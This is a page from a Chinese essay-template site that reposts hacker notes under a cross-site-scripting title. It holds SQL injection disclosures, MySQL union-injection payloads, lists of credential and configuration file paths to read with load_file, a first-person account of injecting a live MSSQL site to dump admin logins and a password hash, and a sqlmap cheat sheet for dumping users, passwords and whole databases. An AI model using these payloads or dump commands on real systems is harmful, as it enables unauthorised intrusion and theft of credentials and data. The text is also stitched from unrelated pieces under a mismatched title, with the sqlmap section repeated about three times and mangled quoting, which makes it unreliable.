学霸ppt免费下载网

展开

首页 > 范文大全 > 范文大全 > 三号文库
2024年跨站脚本的原理(六篇)

每个人都曾试图在平淡的学习、工作和生活中写一篇文章。写作是培养人的观察、联想、想象、思维和记忆的重要手段。大家想知道怎么样才能写一篇比较优质的范文吗?以下是小编为大家收集的优秀范文,欢迎大家分享阅读。

跨站脚本的原理篇一

译者:riusksk(泉哥)

漏洞分析

本篇分析介绍了不同领域下的xss注入攻击,这里没有使用xss cheatsheat.现在让我们开始详细分析它,本次实例的目标是sectheory安全咨询站点。这个过程使用了两种不同的方法,这将使一些安全公司受到微创,同时也有利于新的exploitation类型的确立。两者的结果是相同的,只是方式不一样。

们通过寻找安全漏洞并利用它来进行网站攻击。我个人总是习惯使用两种方法来踩点:

banging:在url中注入输入参数。

2.  form. splitting:在form表单中注入伪造的参数,

关键代码:

your phone number:

your email address:

。。。。。

注入以下代码

telnet

跨站脚本的原理篇二

by:sobiny[b.c.t]

提交给bbsxp的漏洞公告,官方一点反映都没呢,。

其实主要是他们一个类型的注入太多了。

我都不好意思发出来,发多了手痛。

哎,举例一个。

文件

127.0.0.1/?menu=result&forumid=1&keywords=aaaaa&item=threadid&datecomparer=365&sortby=desc/**/union&verifycode=8149

if request(“menu”)=“result” then

keywords=htmlencode(request(“keywords”))

sortby=htmlencode(request(“sortby”))

item=htmlencode(request(“item”))

if keywords=“” then error(“您没有输入任何查询条件!”)

if request(“verifycode”)session(“verifycode”) or session(“verifycode”)=“” then

error(“验证码错误!”)

sqlsearch=“isapproved=1 and isdel=0 and ”&item&“ like %”&keywords&“% ”

if datecomparer >0 then sqlsearch=sqlsearch&“ and

posttime>”&sqlnowstring&“-”&datecomparer&“ ”

if forumid >0 then sqlsearch=sqlsearch&“ and forumid=”&forumid&“ ”

sql=“select * from [bbsxp_threads] where ”&sqlsearch&“ order by threadid

”&sortby&“”

sql,conn,1

……………………

我汗死,一个语句中,有两个地方可以注入,bbsxp简直太有才了,

他们不把这类型的漏洞补了

我还真不准备看了,太多了,bug。

跨站脚本的原理篇三

记得之前园长说不知道mysql5.0以上的iformation_schema表的结构就说自己懂得注入的是很 的事情,于是了解了一番。

mysql5内置的系统数据库iformation_schema,其结构如mssql中的master数据库,其

中记录了mysql中所有

存在数据库名、数据库表、表字段。重点要求研究几个对sql注入有用的数据表说

明。

1.得到所有数据库名:

|schemata ->存储数据库名的表

|—字段:schema_name ->数据库名称

|tables ->存储表名

|—字段:table_schema ->表示该表名属于哪个数据库名

|—字段:table_name ->存储表的表名

|columns ->存储的字段名表

|—字段:table_schema ->该字段所属数据库名

|—字段:table_name ->存储所属表的名称

|—字段:column_name ->该字段的名称

#########################################################################

##

0×001 获取系统信息:

union select 1,2,3,4,5,concat

(@@n_compile_os,0x3c62723e,@@datadir,0x3c62723e,user

,0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*

/*

@@n_compile_os 获取系统版本

@@datadir 数据库路径

database() 当前数据库名称

0x3c62723e 换行hex值

*/

######################################################################

0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from

where table_schema=0x67617264656e /*

/*

0x67617264656e 为当前数据库名

group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/

######################################################################

0×003 获取字段

union select 1,2,group_concat(column_name),4,5,6,7,8,9 from

s where table_name=0x61646d696e and

table_schema=0x67617264656e limit 1 /*

/*

group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段

0x61646d696e ->选择一个表

0x67617264656e ->数据库名

*/

#####################################################################

0×004 获取数据

union select 1,2,3

,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat

(adpassword),6,7,8 from admin

/*

0x3c62723e 换行符号hex编码

group_concat 同时获得该字段所有数据

*/

顺便添加一些mysql注入时非常有用的一些东西

简单介绍mysql注入中用到的一些函数的作用,利用它们可以判断当前用户权限(root为最高,相当于mssql中的sa)、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

1:system_user() 系统用户名

2:user()       用户名

3:current_user() 当前用户名

4:session_user()连接数据库的用户名

5:database()   数据库名

6:version()    mysql数据库版本

7:load_file()  mysql读取本地文件的函数

8:@@datadir    读取数据库路径

9:@@basedir   mysql 安装路径

10:@@version_compile_os  操作系统 windows server ,

收集的一些路径:

windows下:

c:/         //查看系统版本

c:/windows/  //php配置信息

c:/windows/   //mysql配置文件,记录管理员登陆过的mysql用户名和密码

c:/winnt/

c:/winnt/

c:\mysql\data\mysql\ //表中的数据库连接密码

c:\program files\\serv-u\ //存储了虚拟主机网站路径和密码

c:\program files\serv-u\

c:\windows\system32\inetsrv\ //iis配置文件

c:\windows\repair\sam //存储了windows系统初次安装的密码

c:\program files\ serv-u\ //6.0版本以前的serv-u管理员密码存储于此

c:\program files\\

c:\documents and settings\all users\application data\symantec\pcanywhere\*.cif文件

//存储了pcanywhere的登陆密码

c:\program files\apache group\apache\conf \ 或c:\apache\conf \ //查看    windows系统apache文件

c:/resin-3.0.14/conf/  //查看jsp开发的网站 resin文件配置信息.

c:/resin/conf/     /usr/local/resin/conf/ 查看linux系统配置的jsp虚拟主机

d:\apache\apache2\conf\

c:\program files\mysql\

c:\windows\system32\inetsrv\ 查看iis的虚拟主机配置

c:\mysql\data\mysql\ 存在mysql系统中的用户密码

lunix/unix下:

/usr/local/app/apache2/conf/ //apache2缺省配置文件

/usr/local/apache2/conf/

/usr/local/app/apache2/conf/extra/ //虚拟网站设置

/usr/local/app/php5/lib/ //php相关设置

/etc/sysconfig/iptables //从中得到防火墙规则策略

/etc/httpd/conf/ // apache配置文件

/etc/ //同步程序配置文件

/etc/ //mysql的配置文件

/etc/redhat-release //系统版本

/etc/issue

/etc/

/usr/local/app/php5/lib/ //php相关设置

/usr/local/app/apache2/conf/extra/ //虚拟网站设置

/etc/httpd/conf/或/usr/local/apche/conf/ 查看linux apache虚拟主机配置文件

/usr/local/resin-3.0.22/conf/ 针对3.0.22的resin配置文件查看

/usr/local/resin-pro-3.0.22/conf/ 同上

/usr/local/app/apache2/conf/extra/ apashe虚拟主机查看

/etc/httpd/conf/或/usr/local/apche/conf/ 查看linux apache虚拟主机配置文件

/usr/local/resin-3.0.22/conf/ 针对3.0.22的resin配置文件查看

/usr/local/resin-pro-3.0.22/conf/ 同上

/usr/local/app/apache2/conf/extra/ apashe虚拟主机查看

/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出freebsd,sunos系统根目录

replace(load_file(0x2f6574632f706173737764),0x3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

上面两个是查看一个php文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.

跨站脚本的原理篇四

author:昆仑男银

群里有人在问insert型的怎么注射,insert类型的我还没碰到过呢,就去看了看,做了一下笔记备忘,

/?proid=49579 加一个点,报错

是insert类型的语句,百度了一下,对insert语句的注射大致有个了解,于是开始刺探信息。

提交:/?proid=49579,cast(@@version/**/as/**/int),null);--

不兼容...把int换成varchar,页面返回正常。。。百度一下,原来是mssql不允许将text或ntext型数据直接转换为int型

要想爆出信息看来得找个varchar 或nvarchar类型的字段,把后面2个对换了一下位置,成功爆出。

提交:/?proid=49579,null,cast(system_user/**/as/**/int));--

在将 nvarchar 值 afdatalogin 转换成数据类型 int 时失败。

很好,再接着爆信息,收集的一些如下。

version:microsoft sql server - 9.00.4035.00 (intel x86)......edition on windows nt 5.2 (build 3790: service pack 2)

servername:sql2005

host_name:ibm1

db_name:kunlun

user_name:dbo

可以看出 web与数据库分离,看来想差异备份或log备份是不行的了,只能爆后台帐号、密码进后台了。

先爆一下库,构造

/?proid=49579,null,null);select/**/name/**/from/**/abases/**/where/**/dbid=1/**/and/**/1=(select/**/name/**/from/**/abases/**/where/**/dbid=1)--

修改第最后一个dbid的值,爆出13个库...

1:master

2:tempdb

3:model

4:msdb

5:kunlun_bbs

6:kunlun

7:new_af

8:af_back

9:console

10:newkunlun

11:newkunlun2

12:oldkunlun

13:newbbs

接下来爆表名

构造: /?proid=49579,null,null);select/**/name/**/from/**/abases/**/where/**/dbid=1/**/and/**/1=(select/**/top/**/1/**/name/**/from/**/sysobjects/**/where/**/xtype=u/**/and/**/name/**/not/**/in(select/**/top/**/0/**/name/**/from/**/sysobjects/**/where/**/xtype=u))--

修改第二个top的值,从0递增上去,

爆第六张表时很开心,马上去爆字段、密码。

1:af_useraccount

2:yx_unit

3:af_unioncompany

4:yx_flashxz

5:af_userpointlogs

6:buy_admin

爆指定表buy_admin的字段

/?proid=49579,null,null);select/**/name/**/from/**/abases/**/where/**/dbid=1/**/and/**/1=(select/**/top/**/1/**/name/**/from/**/syscolumns/**/where/**/id/**/in/**/(select/**/id/**/from/**/sysobjects/**/where/**/name=buy_admin)/**/and/**/name/**/not/**/in/**/(select/**/top/**/0/**/name/**/from/**/syscolumns/**/where/**/id/**/in/**/(select/**/id/**/from/**/sysobjects/**/where/**/name=buy_admin)))--

爆出来了,一样是修改第二个top的值。

密码:af_apass

id:af_id

用户:af_aname

看到name和pass很开心啊,马上爆内容。

提交:

/?proid=49579,null,null);select/**/*/**/from/**/buy_admin/**/where/**/af_id=2/**/and/**/1=(select/**/af_aname/**/from/**/buy_admin/**/where/**/af_id=2)--

爆出来了,还是明文的,呵呵,找后台登录。

hjbadmin  hjbmanager

yck     yck

高兴早了,怎么也登录不了。唉,再爆表把,爆到第n张,看见yx_manage,开心了,这回没错了,爆字段爆内容

yx_adminuser yx_pwd

hgnadmin 50252ec697150cc9aa69a47333c716b8

可惜啊,md5解密不出....到这里差不多就结束了。很晚了。

哦,忘了说了,这个是dbo权限,呵呵。

跨站脚本的原理篇五

工具提供sqlmap0.9版本、、

获取数据库名

./ -u “?nid=14550″

–user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0;

.net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr

3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” –dbs

获取表名

./ -u “?nid=14550″

–user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0;

.net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr

3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” -d database

–tables

获取列名

./ -u “?nid=14550″

–user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0;

.net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr

3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” -d database -t

cdb_adminactions –columns

获取值

./ -u “?nid=14550″

–user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0;

.net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr

3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” -d database -t

cdb_members -c username,password –dump

svn checkout /sqlmap/trunk/sqlmap

sqlmap-dev

-u “/?cityid=2&m=1″

-v 1 –sql-shell //执行sql语句

-u “/?cityid=2&m=1″

-v 5 //更详细的信息

load options from a configuration ini file

sqlmap -c

使用post方法提交

-u “/sqlmap/oracle/”

–method post –data “id=1″

使用cookies方式提交,cookie的值用;分割,可以使用tamperdata来抓cookies

python -u “/sqlmap/mssql/”

–cookie “id=1″ -v 1

使用referer欺骗

python -u “/sqlmap/pgsql/?id=1″

–referer “” -v 3

使用自定义user-agent,或者使用随机使用自带的

python -u “/sqlmap/oracle/?id=1″

–user-agent “mozilla/4.0 (compatible; msie 7.0; windows nt 5.1)” -v

3

python -u “/sqlmap/mysql/?id=1″

-v 1 -a “./txt/”

使用基本认证

python -u “/sqlmap/mysql/basic/?id=1″

–auth-type basic –auth-cred “testuser:testpass” -v 3

使用digest认证

python -u “/sqlmap/mysql/digest/?id=1″

–auth-type digest –auth-cred “testuser:testpass” -v 3

使用代理,配合tor

python -u “/sqlmap/pgsql/?id=1″

–proxy “192.168.1.47:3128″

python

-u “/sqlmap/pgsql/?id=1″

–proxy “192.168.1.47:8118″

使用多线程猜解

python -u “/sqlmap/mysql/?id=1″

-v 1 –current-user –threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入

python -u “/sqlmap/pgsql/?id=1″

-v 1 -p “id

python -u “/sqlmap/pgsql/?id=1&cat=2″

-v 1 -p “cat,id”

python -u “/sqlmap/mysql/”

-v 1 -p “user-agent” –user-agent “sqlmap/0.7rc1 ()”

指定数据库,绕过sqlmap的自动检测

python -u “/sqlmap/pgsql/?id=1″

-v 2 –dbms “postgresql”

* mysql

* oracle

* postgresql

*

microsoft sql server

指定操作系统,绕过sqlmap自动检测

python -u “/sqlmap/pgsql/?id=1″

-v 2 –os “windows”

* linux

* windows

自定义payload

options:

–prefix and –postfix

in some circumstances the vulnerable parameter is

exploitable only if the user provides a postfix to be appended to the injection

payload. another scenario where these options come handy presents itself when

the user already knows that query syntax and want to detect and exploit the sql

injection by directly providing a injection payload prefix and/or

postfix.

example on a mysql 5.0.67 target on a page where the sql query

is: $query = “select * from users where id=(‘” . $_get[id] . “‘) limit 0,

1″;:

$ python -u “/sqlmap/mysql/?id=1″

-v 3 -p “id” –prefix “‘” –postfix “and

‘test’=test”

[...]

[hh:mm:16] [info] testing sql injection on get

parameter ‘id’ with 0 parenthesis

[hh:mm:16] [info] testing custom injection

on get parameter ‘id’

[hh:mm:16] [traffic out] http request:

get

/sqlmap/mysql/?id=1%27%29%20and%207433=7433%20and%20

%28%27test%27=%27test

http/1.1

accept-charset: iso-8859-15,utf-8;q=0.7,*;q=0.7

host:

:80

accept-language: en-us,en;q=0.5

accept:

text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

image/png,*/*;q=0.5

user-agent:

sqlmap/0.7rc1 ()

connection:

close

[...]

[hh:mm:17] [info] get parameter ‘id’ is custom

injectable

[...]

as you can see, the injection payload for testing for

custom injection

is:

id=1%27%29%20and%207433=7433%20and%20%28%27test%27=%27test

which

url decoded is:

id=1′) and 7433=7433 and (‘test’=test

and makes

the query syntatically correct to the page query:

select * from users

where id=(’1′) and 7433=7433 and (‘test’=test’) limit 0, 1

in this

simple example, sqlmap could detect the sql injection and exploit it without

need to provide a custom injection payload, but sometimes in the real world

application it is necessary to provide it.

页面比较

python -u “/sqlmap/mysql/?id=1″

–string “luther” -v 1

python -u “/sqlmap/mysql/?id=1″

–regexp “ lu[w][w]er” -v

排除网站的内容

python -u “/sqlmap/mysql/?id=1″

–excl-reg “dynamic content: ([d]+)”

多语句测试,php内嵌函数mysql_query,不支持多语句

python -u “/sqlmap/mysql/?id=1″

–stacked-test -v 1

union注入测试

python -u “/sqlmap/oracle/?id=1″

–union-test -v 1

unionz注入配合orderby

python -u “/sqlmap/pgsql/?id=1″

–union-test –union-tech orderby -v 1

python -u “/sqlmap/mssql/?id=1″

-v 1 –union-use –banner

python -u “/sqlmap/mysql/?id=1″

-v 5 –union-use –current-user

python -u “/sqlmap/mysql/?id=1″

-v 1 –union-use –dbs

fingerprint

python -u “/sqlmap/mssql/?id=1″

-v 1 -f

python -u “192.168.123.36/sqlmap/?name=luther”

-v 1 -f -b

判断当前用户是否是dba

python -u “/sqlmap/pgsql/?id=1″

–is-dba -v 1

列举数据库用户

python -u “/sqlmap/pgsql/?id=1″

–users -v 0

列举数据库用户密码

python -u “/sqlmap/mysql/?id=1″

–passwords -v 0

python -u “/sqlmap/mssql/?id=1″

–passwords -u sa -v 0

查看用户权限

python -u “/sqlmap/oracle/?id=1″

–privileges -v 0

python -u “/sqlmap/pgsql/?id=1″

–privileges -u postgres -v 0

列数据库

python -u “/sqlmap/mssql/?id=1″

–dbs -v 0

列出指定数据库指定表的列名

python -u “/sqlmap/mysql/?id=1″

–columns -t users -d test -v 1

列出指定数据库的指定表的指定列的内容

python -u “/sqlmap/mssql/?id=1″

–dump -t users -d master -c surname -v 0

指定列的范围从2-4

python -u “/sqlmap/mysql/?id=1″

–dump -t users -d test –start 2 –stop 4 -v 0

导出所有数据库,所有表的内容

python -u “/sqlmap/mysql/?id=1″

–dump-all -v 0

只列出用户自己新建的数据库和表的内容

python -u “/sqlmap/mssql/?id=1″

–dump-all –exclude-sysdbs -v 0

sql query

python -u “/sqlmap/pgsql/?id=1″

–sql-query “select usename from pg_user” -v 0

python -u “/sqlmap/mysql/?id=1″

–sql-query “select host, password from limit 1, 3″ -v

1

select usename, passwd from pg_shadow order by usename

保存和恢复会话

python -u “/sqlmap/pgsql/?id=1″

-b -v 1 -s “”

保存选项到inc配置文件

python -u “/sqlmap/pgsql/?id=1″

-b -v 1 –save

获取数据库名:

./ -u “?nid=14550” --user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” --dbs

获取表名:

./ -u “?nid=14550” --user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” -d database --tables

获取列名

./ -u “?nid=14550” --user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” -d database -t cdb_adminactions --columns

获取值

./ -u “?nid=14550” --user-agent “mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)” -d database -t cdb_members -c username,password --dump

更新

svn checkout /sqlmap/trunk/sqlmap sqlmap-dev

-u “/?cityid=2&m=1” -v 1 --sql-shell //执行sql语句

-u “/?cityid=2&m=1” -v 5 //更详细的信息

load options from a configuration ini file

sqlmap -c 

使用post方法提交

-u “/sqlmap/oracle/” --method post --data “id=1”

使用cookies方式提交,cookie的值用;分割,可以使用tamperdata来抓cookies

python  -u “/sqlmap/mssql/” --cookie “id=1” -v 1

使用referer欺骗

python -u “/sqlmap/pgsql/?id=1” --referer “” -v 3

使用自定义user-agent,或者使用随机使用自带的

python -u “/sqlmap/oracle/?id=1” --user-agent “mozilla/4.0 (compatible; msie 7.0; windows nt 5.1)” -v 3

python -u “/sqlmap/mysql/?id=1” -v 1 -a “./txt/”

使用基本认证

python -u “/sqlmap/mysql/basic/?id=1” --auth-type basic --auth-cred “testuser:testpass” -v 3

使用digest认证

python -u “/sqlmap/mysql/digest/?id=1” --auth-type digest --auth-cred “testuser:testpass” -v 3

使用代理,配合tor

python -u “/sqlmap/pgsql/?id=1” --proxy “192.168.1.47:3128”

python -u “/sqlmap/pgsql/?id=1” --proxy “192.168.1.47:8118”

使用多线程猜解

python -u “/sqlmap/mysql/?id=1” -v 1 --current-user --threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入

python  -u “/sqlmap/pgsql/?id=1” -v 1 -p “id

python -u ”/sqlmap/pgsql/?id=1&cat=2“ -v 1 -p ”cat,id“

python -u ”/sqlmap/mysql/“ -v 1 -p ”user-agent“ --user-agent ”sqlmap/0.7rc1 ()“

指定数据库,绕过sqlmap的自动检测

python  -u ”/sqlmap/pgsql/?id=1“ -v 2 --dbms ”postgresql“

* mysql

* oracle

* postgresql

* microsoft sql server

指定操作系统,绕过sqlmap自动检测

python -u ”/sqlmap/pgsql/?id=1“ -v 2 --os ”windows“

* linux

* windows

自定义payload

options: --prefix and --postfix

in some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the sql injection by directly providing a injection payload prefix and/or postfix.

example on a mysql 5.0.67 target on a page where the sql query is: $query = ”select * from users where id=(“ . $_get[id] . ”) limit 0, 1“;:

$ python -u ”/sqlmap/mysql/?id=1“ -v 3 -p ”id“ --prefix ”“ --postfix ”and test=test“

[...]

[hh:mm:16] [info] testing sql injection on get parameter id with 0 parenthesis

[hh:mm:16] [info] testing custom injection on get parameter id

[hh:mm:16] [traffic out] http request:

get /sqlmap/mysql/?id=1%27%29%20and%207433=7433%20and%20

%28%27test%27=%27test http/1.1

accept-charset: iso-8859-15,utf-8;q=0.7,*;q=0.7

host: :80

accept-language: en-us,en;q=0.5

accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

image/png,*/*;q=0.5

user-agent: sqlmap/0.7rc1 ()

connection: close

[...]

[hh:mm:17] [info] get parameter id is custom injectable

[...]

as you can see, the injection payload for testing for custom injection is:

id=1%27%29%20and%207433=7433%20and%20%28%27test%27=%27test

which url decoded is:

id=1) and 7433=7433 and (test=test

and makes the query syntatically correct to the page query:

select * from users where id=(1) and 7433=7433 and (test=test) limit 0, 1

in this simple example, sqlmap could detect the sql injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

页面比较

python  -u ”/sqlmap/mysql/?id=1“ --string ”luther“ -v 1

python -u ”/sqlmap/mysql/?id=1“ --regexp ”lu[w][w]er“ -v

排除网站的内容

python -u ”/sqlmap/mysql/?id=1“ --excl-reg ”dynamic content: ([d]+)“

多语句测试,php内嵌函数mysql_query(),不支持多语句

python  -u ”/sqlmap/mysql/?id=1“ --stacked-test -v 1

union注入测试

python -u ”/sqlmap/oracle/?id=1“ --union-test -v 1

unionz注入配合orderby

python -u ”/sqlmap/pgsql/?id=1“ --union-test --union-tech orderby -v 1

python -u ”/sqlmap/mssql/?id=1“ -v 1 --union-use --banner

python -u ”/sqlmap/mysql/?id=1“ -v 5 --union-use --current-user

python -u ”/sqlmap/mysql/?id=1“ -v 1 --union-use --dbs

fingerprint

python -u ”/sqlmap/mssql/?id=1“ -v 1 -f

python  -u ”192.168.123.36/sqlmap/?name=luther“ -v 1 -f -b

判断当前用户是否是dba

python -u ”/sqlmap/pgsql/?id=1“ --is-dba -v 1

列举数据库用户

python -u ”/sqlmap/pgsql/?id=1“ --users -v 0

列举数据库用户密码

python -u ”/sqlmap/mysql/?id=1“ --passwords -v 0

python  -u ”/sqlmap/mssql/?id=1“ --passwords -u sa -v 0

查看用户权限

python -u ”/sqlmap/oracle/?id=1“ --privileges -v 0

python -u ”/sqlmap/pgsql/?id=1“ --privileges -u postgres -v 0

列数据库

python -u ”/sqlmap/mssql/?id=1“ --dbs -v 0

列出指定数据库指定表的列名

python -u ”/sqlmap/mysql/?id=1“ --columns -t users -d test -v 1

列出指定数据库的指定表的指定列的内容

python -u ”/sqlmap/mssql/?id=1“ --dump -t users -d master -c surname -v 0

指定列的范围从2-4

python -u ”/sqlmap/mysql/?id=1“ --dump -t users -d test --start 2 --stop 4 -v 0

导出所有数据库,所有表的内容

python -u ”/sqlmap/mysql/?id=1“ --dump-all -v 0

只列出用户自己新建的数据库和表的内容

python -u ”/sqlmap/mssql/?id=1“ --dump-all --exclude-sysdbs -v 0

sql query

python -u ”/sqlmap/pgsql/?id=1“ --sql-query ”select usename from pg_user“ -v 0

python -u ”/sqlmap/mysql/?id=1“ --sql-query ”select host, password from limit 1, 3“ -v 1

select usename, passwd from pg_shadow order by usename

保存和恢复会话

python -u ”/sqlmap/pgsql/?id=1“ -b -v 1 -s ”“

保存选项到inc配置文件

python -u ”/sqlmap/pgsql/?id=1“ -b -v 1 --save

获取数据库名

./ -u ”?nid=14550“ --user-agent ”mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)“ --dbs获取表名

./ -u ”?nid=14550“ --user-agent ”mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)“ -d database --tables

获取列名

./ -u ”?nid=14550“ --user-agent ”mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)“ -d database -t cdb_adminactions --columns

获取值

./ -u ”?nid=14550“ --user-agent ”mozilla/4.0 (compatible; msie 8.0; windows nt 5.2; trident/4.0; .net clr 1.1.4322; .net clr 2.0.50727; .net clr 3.0.04506.648; .net clr 3.5.21022; .net clr 3.0.4506.2152; .net clr 3.5.30729)“ -d database -t cdb_members -c username,password --dump

来源:影子

更新

svn checkout /sqlmap/trunk/sqlmap -u ”/?cityid=2&m=1“ -v 1 --sql-shell //执行sql语句

-u ”/?cityid=2&m=1“ -v 5 //更详细的信息

load options from a configuration ini file

sqlmap -c 使用post方法提交

-u ”/sqlmap/oracle/“ --method post --data ”id=1“使用cookies方式提交,cookie的值用;分割,可以使用tamperdata来抓cookies

python  -u ”/sqlmap/mssql/“ --cookie ”id=1“ -v 1使用referer欺骗

python -u ”/sqlmap/pgsql/?id=1“ --referer ”“ -v 3使用自定义user-agent,或者使用随机使用自带的

python -u ”/sqlmap/oracle/?id=1“ --user-agent ”mozilla/4.0 (compatible; msie 7.0; windows nt 5.1)“ -v 3python -u ”/sqlmap/mysql/?id=1“ -v 1 -a ”./txt/“

使用基本认证

python -u ”/sqlmap/mysql/basic/?id=1“ --auth-type basic --auth-cred ”testuser:testpass“ -v 3使用digest认证

python -u ”/sqlmap/mysql/digest/?id=1“ --auth-type digest --auth-cred ”testuser:testpass“ -v 3使用代理,配合tor

python -u ”/sqlmap/pgsql/?id=1“ --proxy ”192.168.1.47:3128“

python -u ”/sqlmap/pgsql/?id=1“ --proxy ”192.168.1.47:8118“使用多线程猜解

python -u ”/sqlmap/mysql/?id=1“ -v 1 --current-user --threads 3绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入

python  -u ”/sqlmap/pgsql/?id=1“ -v 1 -p ”id

python -u “/sqlmap/pgsql/?id=1&cat=2” -v 1 -p “cat,id”

python -u “/sqlmap/mysql/” -v 1 -p “user-agent” --user-agent “sqlmap/0.7rc1 ()”指定数据库,绕过sqlmap的自动检测

python  -u “/sqlmap/pgsql/?id=1” -v 2 --dbms “postgresql”* mysql

* oracle

* postgresql

* microsoft sql server指定操作系统,绕过sqlmap自动检测

python -u “/sqlmap/pgsql/?id=1” -v 2 --os “windows”* linux

* windows自定义payload

options: --prefix and --postfixin some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the sql injection by directly providing a injection payload prefix and/or postfix.

example on a mysql 5.0.67 target on a page where the sql query is: $query = “select * from users where id=(” . $_get[id] . “) limit 0, 1”;:

$ python -u “/sqlmap/mysql/?id=1” -v 3 -p “id” --prefix “” --postfix “and test=test”

[...]

[hh:mm:16] [info] testing sql injection on get parameter id with 0 parenthesis

[hh:mm:16] [info] testing custom injection on get parameter id

[hh:mm:16] [traffic out] http request:

get /sqlmap/mysql/?id=1%27%29%20and%207433=7433%20and%20

%28%27test%27=%27test http/1.1

accept-charset: iso-8859-15,utf-8;q=0.7,*;q=0.7

host: :80

accept-language: en-us,en;q=0.5

accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,

image/png,*/*;q=0.5

user-agent: sqlmap/0.7rc1 ()

connection: close

[...]

[hh:mm:17] [info] get parameter id is custom injectable

[...]as you can see, the injection payload for testing for custom injection is:

id=1%27%29%20and%207433=7433%20and%20%28%27test%27=%27test

which url decoded is:

id=1) and 7433=7433 and (test=test

and makes the query syntatically correct to the page query:

select * from users where id=(1) and 7433=7433 and (test=test) limit 0, 1

in this simple example, sqlmap could detect the sql injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

页面比较

python  -u “/sqlmap/mysql/?id=1” --string “luther” -v 1

python -u “/sqlmap/mysql/?id=1” --regexp “lu[w][w]er” -v排除网站的内容

python -u “/sqlmap/mysql/?id=1” --excl-reg “dynamic content: ([d]+)”多语句测试,php内嵌函数mysql_query(),不支持多语句

python  -u “/sqlmap/mysql/?id=1” --stacked-test -v 1union注入测试

python -u “/sqlmap/oracle/?id=1” --union-test -v 1unionz注入配合orderby

python -u “/sqlmap/pgsql/?id=1” --union-test --union-tech orderby -v 1python -u “/sqlmap/mssql/?id=1” -v 1 --union-use --banner

python -u “/sqlmap/mysql/?id=1” -v 5 --union-use --current-user

python -u “/sqlmap/mysql/?id=1” -v 1 --union-use --dbsfingerprint

python -u “/sqlmap/mssql/?id=1” -v 1 -f

python  -u “192.168.123.36/sqlmap/?name=luther” -v 1 -f -b判断当前用户是否是dba

python -u “/sqlmap/pgsql/?id=1” --is-dba -v 1列举数据库用户

python -u “/sqlmap/pgsql/?id=1” --users -v 0

列举数据库用户密码

python -u “/sqlmap/mysql/?id=1” --passwords -v 0

python  -u “/sqlmap/mssql/?id=1” --passwords -u sa -v 0查看用户权限

python -u “/sqlmap/oracle/?id=1” --privileges -v 0

python -u “/sqlmap/pgsql/?id=1” --privileges -u postgres -v 0列数据库

python -u “/sqlmap/mssql/?id=1” --dbs -v 0列出指定数据库指定表的列名

python -u “/sqlmap/mysql/?id=1” --columns -t users -d test -v 1列出指定数据库的指定表的指定列的内容

